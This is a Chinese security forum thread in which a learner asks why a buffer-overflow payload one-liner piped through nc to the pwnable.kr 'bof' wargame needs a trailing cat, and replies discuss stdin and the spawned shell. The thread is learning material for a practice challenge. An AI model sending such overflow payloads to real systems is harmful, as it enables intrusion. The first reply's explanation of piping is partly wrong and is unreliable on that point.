首页
社区
课程
招聘
[求助]pwnable里Bottle的bof题目linux命令求解
发表于: 2016-4-29 12:35 3265

[求助]pwnable里Bottle的bof题目linux命令求解

2016-4-29 12:35
3265
在这个题目中,分析出了漏洞利用方式
最后发现使用如下linux命令可以成功利用
(python -c "print 'a'*52+'\xbe\xba\xfe\xca'"; cat) | nc pwnable.kr 9000

但使用
python -c "print 'a'*52+'\xbe\xba\xfe\xca'" | nc pwnable.kr 9000

不可以,想求教这两个linux命令有什么区别?
5.1这两天不在线,无法回复大家

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 689
活跃值: (422)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
2
因为python输出的shellcode不应该是nc的参数,而是nc连接以后stdin输入的数据
不加cat相当于执行了
nc pwnable.kr 9000 aaaaaaaa.......
这条命令,显然不是你想要的结果,因为nc没有aaaaaa......这个参数选项
加上cat相当于
第一步:
cat读取标准输出(也就是那一段shellcode)
第二步:
nc pwnable.kr 9000
此时nc阻塞在stdin等待输入(向9000端口发送的数据)
第三步:
cat将之前的stdout写入到现在的stdin

你主要是将参数和输入的数据的含义搞混了
2016-4-29 13:03
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
谢谢,总算弄明白了,就是python的输出不是标准输出是吧?
2016-5-5 09:46
0
雪    币: 689
活跃值: (422)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
4
.........

不是的,python就是标准输出
再仔细看下我之前的回答吧

不是是不是标准输出的问题,而是在什么时候把输出作为输入的问题
2016-5-5 10:40
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
哦哦,管道不是都把前面的输出作为后面的stdin输入吗
2016-5-12 23:21
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
我搜索了下,xargs是用来拆分为后面一条的命令参数
2016-5-12 23:28
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
又遇到了这个问题,找了下解释,好像是说不用cat的话仍然留在外层shell这里,使用cat就可以进入system启动的shell

2016-6-1 17:02
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
现在总算明白了,使用cat命令不加参数会接收标准输入并持续输出,由于输入shellcode后程序仅仅调用shell,没有对应的shell命令,需要获得持续的输入,如果不加后面的cat,调用shell后没有命令可执行
2016-6-12 22:29
0
雪    币: 42
活跃值: (196)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
我也是看这篇帖子才明白
2016-6-16 12:44
0
游客
登录 | 注册 方可回帖
返回
//